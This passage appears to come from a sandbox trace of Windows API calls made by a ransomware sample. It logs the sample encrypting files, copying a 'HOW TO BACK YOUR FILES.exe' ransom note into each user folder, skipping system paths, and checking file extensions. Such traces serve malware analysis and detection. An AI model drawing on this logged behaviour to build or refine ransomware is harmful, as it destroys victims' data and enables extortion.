dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0051.220] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=1206133) returned 1 [0051.220] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0051.220] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d5e8 [0051.220] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518c50 [0051.221] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519448) returned 1 [0051.221] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0051.221] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0051.221] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x126a80, lpName=0x0) returned 0x17c [0051.221] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x126a80) returned 0x2d50000 [0051.255] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519448) returned 1 [0051.256] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0051.256] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0051.256] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d660 [0051.256] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d660 | out: hHeap=0x4f0000) returned 1 [0051.256] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x50b970 [0051.256] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0051.256] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50b970 | out: hHeap=0x4f0000) returned 1 [0051.256] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0051.256] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50b970 [0051.256] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0051.256] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50b970 | out: hHeap=0x4f0000) returned 1 [0051.257] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0051.257] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0051.267] CloseHandle (hObject=0x17c) returned 1 [0051.267] CloseHandle (hObject=0x154) returned 1 [0051.268] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d5e8 | out: hHeap=0x4f0000) returned 1 [0051.268] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518c50 | out: hHeap=0x4f0000) returned 1 [0051.268] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0051.273] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x962f4540, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x962f4540, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 1 [0051.273] lstrcmpiW (lpString1="Microsoft", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0051.273] lstrcmpiW (lpString1="Microsoft", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0051.273] lstrcmpiW (lpString1="Microsoft", lpString2=".") returned 1 [0051.273] lstrcmpiW (lpString1="Microsoft", lpString2="..") returned 1 [0051.273] lstrcmpiW (lpString1="Microsoft", lpString2="windows") returned -1 [0051.273] lstrcmpiW (lpString1="Microsoft", lpString2="bootmgr") returned 1 [0051.273] lstrcmpiW (lpString1="Microsoft", lpString2="temp") returned -1 [0051.274] lstrcmpiW (lpString1="Microsoft", lpString2="pagefile.sys") returned -1 [0051.274] lstrcmpiW (lpString1="Microsoft", lpString2="boot") returned 1 [0051.274] lstrcmpiW (lpString1="Microsoft", lpString2="ids.txt") returned 1 [0051.274] lstrcmpiW (lpString1="Microsoft", lpString2="ntuser.dat") returned -1 [0051.274] lstrcmpiW (lpString1="Microsoft", lpString2="perflogs") returned -1 [0051.274] lstrcmpiW (lpString1="Microsoft", lpString2="MSBuild") returned -1 [0051.274] lstrlenW (lpString="Microsoft") returned 9 [0051.274] lstrcpyW (in: lpString1=0x241e8c4, lpString2="Microsoft" | out: lpString1="Microsoft") returned="Microsoft" [0051.274] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50b780 [0051.274] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x90) returned 0x50b970 [0051.274] lstrcatW (in: lpString1="Microsoft", lpString2="\\" | out: lpString1="Microsoft\\") returned="Microsoft\\" [0051.274] lstrcatW (in: lpString1="Microsoft\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Microsoft\\HOW TO BACK YOUR FILES.exe") returned="Microsoft\\HOW TO BACK YOUR FILES.exe" [0051.274] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Local Settings\\Microsoft\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\local settings\\microsoft\\how to back your files.exe"), bFailIfExists=1) returned 1 [0051.276] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe80ff230, ftCreationTime.dwHighDateTime=0x1d2dda1, ftLastAccessTime.dwLowDateTime=0xe80ff230, ftLastAccessTime.dwHighDateTime=0x1d2dda1, ftLastWriteTime.dwLowDateTime=0xe80ff230, ftLastWriteTime.dwHighDateTime=0x1d2dda1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft Help", cAlternateFileName="MICROS~2")) returned 1 [0051.276] lstrcmpiW (lpString1="Microsoft Help", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0051.276] lstrcmpiW (lpString1="Microsoft Help", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0051.276] lstrcmpiW (lpString1="Microsoft Help", lpString2=".") returned 1 [0051.277] lstrcmpiW (lpString1="Microsoft Help", lpString2="..") returned 1 [0051.277] lstrcmpiW (lpString1="Microsoft Help", lpString2="windows") returned -1 [0051.277] lstrcmpiW (lpString1="Microsoft Help", lpString2="bootmgr") returned 1 [0051.277] lstrcmpiW (lpString1="Microsoft Help", lpString2="temp") returned -1 [0051.277] lstrcmpiW (lpString1="Microsoft Help", lpString2="pagefile.sys") returned -1 [0051.277] lstrcmpiW (lpString1="Microsoft Help", lpString2="boot") returned 1 [0051.277] lstrcmpiW (lpString1="Microsoft Help", lpString2="ids.txt") returned 1 [0051.277] lstrcmpiW (lpString1="Microsoft Help", lpString2="ntuser.dat") returned -1 [0051.277] lstrcmpiW (lpString1="Microsoft Help", lpString2="perflogs") returned -1 [0051.277] lstrcmpiW (lpString1="Microsoft Help", lpString2="MSBuild") returned -1 [0051.277] lstrlenW (lpString="Microsoft Help") returned 14 [0051.277] lstrcpyW (in: lpString1=0x241e8c4, lpString2="Microsoft Help" | out: lpString1="Microsoft Help") returned="Microsoft Help" [0051.277] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52a418 [0051.277] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x9a) returned 0x522840 [0051.277] lstrcatW (in: lpString1="Microsoft Help", lpString2="\\" | out: lpString1="Microsoft Help\\") returned="Microsoft Help\\" [0051.277] lstrcatW (in: lpString1="Microsoft Help\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Microsoft Help\\HOW TO BACK YOUR FILES.exe") returned="Microsoft Help\\HOW TO BACK YOUR FILES.exe" [0051.277] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Local Settings\\Microsoft Help\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\local settings\\microsoft help\\how to back your files.exe"), bFailIfExists=1) returned 1 [0051.279] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb264df80, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb7314c10, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb7314c10, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Mozilla", cAlternateFileName="")) returned 1 [0051.279] lstrcmpiW (lpString1="Mozilla", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0051.279] lstrcmpiW (lpString1="Mozilla", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0051.279] lstrcmpiW (lpString1="Mozilla", lpString2=".") returned 1 [0051.280] lstrcmpiW (lpString1="Mozilla", lpString2="..") returned 1 [0051.280] lstrcmpiW (lpString1="Mozilla", lpString2="windows") returned -1 [0051.280] lstrcmpiW (lpString1="Mozilla", lpString2="bootmgr") returned 1 [0051.280] lstrcmpiW (lpString1="Mozilla", lpString2="temp") returned -1 [0051.280] lstrcmpiW (lpString1="Mozilla", lpString2="pagefile.sys") returned -1 [0051.280] lstrcmpiW (lpString1="Mozilla", lpString2="boot") returned 1 [0051.280] lstrcmpiW (lpString1="Mozilla", lpString2="ids.txt") returned 1 [0051.280] lstrcmpiW (lpString1="Mozilla", lpString2="ntuser.dat") returned -1 [0051.280] lstrcmpiW (lpString1="Mozilla", lpString2="perflogs") returned -1 [0051.280] lstrcmpiW (lpString1="Mozilla", lpString2="MSBuild") returned -1 [0051.280] lstrlenW (lpString="Mozilla") returned 7 [0051.280] lstrcpyW (in: lpString1=0x241e8c4, lpString2="Mozilla" | out: lpString1="Mozilla") returned="Mozilla" [0051.280] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52a430 [0051.280] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x8c) returned 0x50ba08 [0051.280] lstrcatW (in: lpString1="Mozilla", lpString2="\\" | out: lpString1="Mozilla\\") returned="Mozilla\\" [0051.280] lstrcatW (in: lpString1="Mozilla\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Mozilla\\HOW TO BACK YOUR FILES.exe") returned="Mozilla\\HOW TO BACK YOUR FILES.exe" [0051.280] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Local Settings\\Mozilla\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\local settings\\mozilla\\how to back your files.exe"), bFailIfExists=1) returned 1 [0051.282] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb7362bc0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xb7362bc0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Temp", cAlternateFileName="")) returned 1 [0051.282] lstrcmpiW (lpString1="Temp", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0051.282] lstrcmpiW (lpString1="Temp", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0051.282] lstrcmpiW (lpString1="Temp", lpString2=".") returned 1 [0051.282] lstrcmpiW (lpString1="Temp", lpString2="..") returned 1 [0051.282] lstrcmpiW (lpString1="Temp", lpString2="windows") returned -1 [0051.283] lstrcmpiW (lpString1="Temp", lpString2="bootmgr") returned 1 [0051.283] lstrcmpiW (lpString1="Temp", lpString2="temp") returned 0 [0051.283] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x29175f80, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29175f80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29175f80, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Temporary Internet Files", cAlternateFileName="TEMPOR~1")) returned 1 [0051.283] lstrcmpiW (lpString1="Temporary Internet Files", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0051.283] lstrcmpiW (lpString1="Temporary Internet Files", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0051.283] lstrcmpiW (lpString1="Temporary Internet Files", lpString2=".") returned 1 [0051.283] lstrcmpiW (lpString1="Temporary Internet Files", lpString2="..") returned 1 [0051.283] lstrcmpiW (lpString1="Temporary Internet Files", lpString2="windows") returned -1 [0051.283] lstrcmpiW (lpString1="Temporary Internet Files", lpString2="bootmgr") returned 1 [0051.283] lstrcmpiW (lpString1="Temporary Internet Files", lpString2="temp") returned 1 [0051.283] lstrcmpiW (lpString1="Temporary Internet Files", lpString2="pagefile.sys") returned 1 [0051.283] lstrcmpiW (lpString1="Temporary Internet Files", lpString2="boot") returned 1 [0051.283] lstrcmpiW (lpString1="Temporary Internet Files", lpString2="ids.txt") returned 1 [0051.283] lstrcmpiW (lpString1="Temporary Internet Files", lpString2="ntuser.dat") returned 1 [0051.283] lstrcmpiW (lpString1="Temporary Internet Files", lpString2="perflogs") returned 1 [0051.283] lstrcmpiW (lpString1="Temporary Internet Files", lpString2="MSBuild") returned 1 [0051.283] lstrlenW (lpString="Temporary Internet Files") returned 24 [0051.283] lstrcpyW (in: lpString1=0x241e8c4, lpString2="Temporary Internet Files" | out: lpString1="Temporary Internet Files") returned="Temporary Internet Files" [0051.283] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52a448 [0051.283] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xae) returned 0x50baa0 [0051.283] lstrcatW (in: lpString1="Temporary Internet Files", lpString2="\\" | out: lpString1="Temporary Internet Files\\") returned="Temporary Internet Files\\" [0051.283] lstrcatW (in: lpString1="Temporary Internet Files\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Temporary Internet Files\\HOW TO BACK YOUR FILES.exe") returned="Temporary Internet Files\\HOW TO BACK YOUR FILES.exe" [0051.283] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Local Settings\\Temporary Internet Files\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\local settings\\temporary internet files\\how to back your files.exe"), bFailIfExists=1) returned 1 [0051.286] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x2ab32d60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2ab32d60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2ab32d60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="VirtualStore", cAlternateFileName="VIRTUA~1")) returned 1 [0051.286] lstrcmpiW (lpString1="VirtualStore", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0051.286] lstrcmpiW (lpString1="VirtualStore", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0051.286] lstrcmpiW (lpString1="VirtualStore", lpString2=".") returned 1 [0051.286] lstrcmpiW (lpString1="VirtualStore", lpString2="..") returned 1 [0051.286] lstrcmpiW (lpString1="VirtualStore", lpString2="windows") returned -1 [0051.286] lstrcmpiW (lpString1="VirtualStore", lpString2="bootmgr") returned 1 [0051.286] lstrcmpiW (lpString1="VirtualStore", lpString2="temp") returned 1 [0051.286] lstrcmpiW (lpString1="VirtualStore", lpString2="pagefile.sys") returned 1 [0051.286] lstrcmpiW (lpString1="VirtualStore", lpString2="boot") returned 1 [0051.286] lstrcmpiW (lpString1="VirtualStore", lpString2="ids.txt") returned 1 [0051.286] lstrcmpiW (lpString1="VirtualStore", lpString2="ntuser.dat") returned 1 [0051.286] lstrcmpiW (lpString1="VirtualStore", lpString2="perflogs") returned 1 [0051.286] lstrcmpiW (lpString1="VirtualStore", lpString2="MSBuild") returned 1 [0051.286] lstrlenW (lpString="VirtualStore") returned 12 [0051.286] lstrcpyW (in: lpString1=0x241e8c4, lpString2="VirtualStore" | out: lpString1="VirtualStore") returned="VirtualStore" [0051.286] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52a460 [0051.286] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x96) returned 0x50bb58 [0051.286] lstrcatW (in: lpString1="VirtualStore", lpString2="\\" | out: lpString1="VirtualStore\\") returned="VirtualStore\\" [0051.286] lstrcatW (in: lpString1="VirtualStore\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="VirtualStore\\HOW TO BACK YOUR FILES.exe") returned="VirtualStore\\HOW TO BACK YOUR FILES.exe" [0051.286] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Local Settings\\VirtualStore\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\local settings\\virtualstore\\how to back your files.exe"), bFailIfExists=1) returned 1 [0051.288] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x2ab32d60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2ab32d60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2ab32d60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="VirtualStore", cAlternateFileName="VIRTUA~1")) returned 0 [0051.288] FindClose (in: hFindFile=0x529410 | out: hFindFile=0x529410) returned 1 [0051.289] ReleaseMutex (hMutex=0xec) returned 1 [0051.289] CloseHandle (hObject=0xec) returned 1 [0051.289] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Music" | out: lpString1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Music") returned="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Music" [0051.289] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5280a0 | out: hHeap=0x4f0000) returned 1 [0051.289] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52c4e8 | out: hHeap=0x4f0000) returned 1 [0051.289] lstrlenW (lpString="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Music") returned 52 [0051.289] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\0AB8B8EF2B4653F6375C10EAD9081BCB") returned 0xec [0051.289] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0051.289] lstrcatW (in: lpString1="", lpString2="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Music" | out: lpString1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Music") returned="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Music" [0051.289] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0051.289] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Music\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\music\\how to back your files.exe"), bFailIfExists=1) returned 0 [0051.289] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Music\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\music\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0051.290] GetLastError () returned 0x0 [0051.290] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0051.290] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x532d08 [0051.290] ReadFile (in: hFile=0xf4, lpBuffer=0x532d08, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x532d08*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0051.290] CloseHandle (hObject=0xf4) returned 1 [0051.291] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x532d08 | out: hHeap=0x4f0000) returned 1 [0051.291] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0051.291] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Music\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xbce5dc00, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbce5dc00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529410 [0051.291] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0051.291] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0051.291] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0051.291] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xbce5dc00, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbce5dc00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0051.291] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0051.291] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0051.291] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0051.291] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0051.291] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9347cfd0, ftCreationTime.dwHighDateTime=0x1d4d038, ftLastAccessTime.dwLowDateTime=0x2de466a0, ftLastAccessTime.dwHighDateTime=0x1d4ca73, ftLastWriteTime.dwLowDateTime=0x2de466a0, ftLastWriteTime.dwHighDateTime=0x1d4ca73, nFileSizeHigh=0x0, nFileSizeLow=0x9417, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="0cT-PTi6AHe.mp3", cAlternateFileName="0CT-PT~1.MP3")) returned 1 [0051.291] lstrcmpiW (lpString1="0cT-PTi6AHe.mp3", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0051.291] lstrcmpiW (lpString1="0cT-PTi6AHe.mp3", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0051.291] lstrcmpiW (lpString1="0cT-PTi6AHe.mp3", lpString2=".") returned 1 [0051.291] lstrcmpiW (lpString1="0cT-PTi6AHe.mp3", lpString2="..") returned 1 [0051.291] lstrcmpiW (lpString1="0cT-PTi6AHe.mp3", lpString2="windows") returned -1 [0051.291] lstrcmpiW (lpString1="0cT-PTi6AHe.mp3", lpString2="bootmgr") returned -1 [0051.291] lstrcmpiW (lpString1="0cT-PTi6AHe.mp3", lpString2="temp") returned -1 [0051.291] lstrcmpiW (lpString1="0cT-PTi6AHe.mp3", lpString2="pagefile.sys") returned -1 [0051.291] lstrcmpiW (lpString1="0cT-PTi6AHe.mp3", lpString2="boot") returned -1 [0051.291] lstrcmpiW (lpString1="0cT-PTi6AHe.mp3", lpString2="ids.txt") returned -1 [0051.291] lstrcmpiW (lpString1="0cT-PTi6AHe.mp3", lpString2="ntuser.dat") returned -1 [0051.291] lstrcmpiW (lpString1="0cT-PTi6AHe.mp3", lpString2="perflogs") returned -1 [0051.291] lstrcmpiW (lpString1="0cT-PTi6AHe.mp3", lpString2="MSBuild") returned -1 [0051.291] lstrlenW (lpString="0cT-PTi6AHe.mp3") returned 15 [0051.291] lstrcpyW (in: lpString1=0x241e8b2, lpString2="0cT-PTi6AHe.mp3" | out: lpString1="0cT-PTi6AHe.mp3") returned="0cT-PTi6AHe.mp3" [0051.291] lstrlenW (lpString="0cT-PTi6AHe.mp3") returned 15 [0051.292] lstrlenW (lpString="Athena865") returned 9 [0051.292] lstrcmpiW (lpString1="i6AHe.mp3", lpString2="Athena865") returned 1 [0051.292] lstrlenW (lpString=".dll") returned 4 [0051.292] lstrcmpiW (lpString1="0cT-PTi6AHe.mp3", lpString2=".dll") returned 1 [0051.292] lstrlenW (lpString=".lnk") returned 4 [0051.292] lstrcmpiW (lpString1="0cT-PTi6AHe.mp3", lpString2=".lnk") returned 1 [0051.292] lstrlenW (lpString=".ini") returned 4 [0051.292] lstrcmpiW (lpString1="0cT-PTi6AHe.mp3", lpString2=".ini") returned 1 [0051.292] lstrlenW (lpString=".sys") returned 4 [0051.292] lstrcmpiW (lpString1="0cT-PTi6AHe.mp3", lpString2=".sys") returned 1 [0051.292] lstrlenW (lpString="0cT-PTi6AHe.mp3") returned 15 [0051.292] lstrlenW (lpString="bak") returned 3 [0051.292] lstrcmpiW (lpString1="mp3", lpString2="bak") returned 1 [0051.292] lstrlenW (lpString="ba_") returned 3 [0051.292] lstrcmpiW (lpString1="mp3", lpString2="ba_") returned 1 [0051.292] lstrlenW (lpString="dbb") returned 3 [0051.292] lstrcmpiW (lpString1="mp3", lpString2="dbb") returned 1 [0051.292] lstrlenW (lpString="vmdk") returned 4 [0051.292] lstrcmpiW (lpString1=".mp3", lpString2="vmdk") returned -1 [0051.292] lstrlenW (lpString="rar") returned 3 [0051.292] lstrcmpiW (lpString1="mp3", lpString2="rar") returned -1 [0051.292] lstrlenW (lpString="zip") returned 3 [0051.292] lstrcmpiW (lpString1="mp3", lpString2="zip") 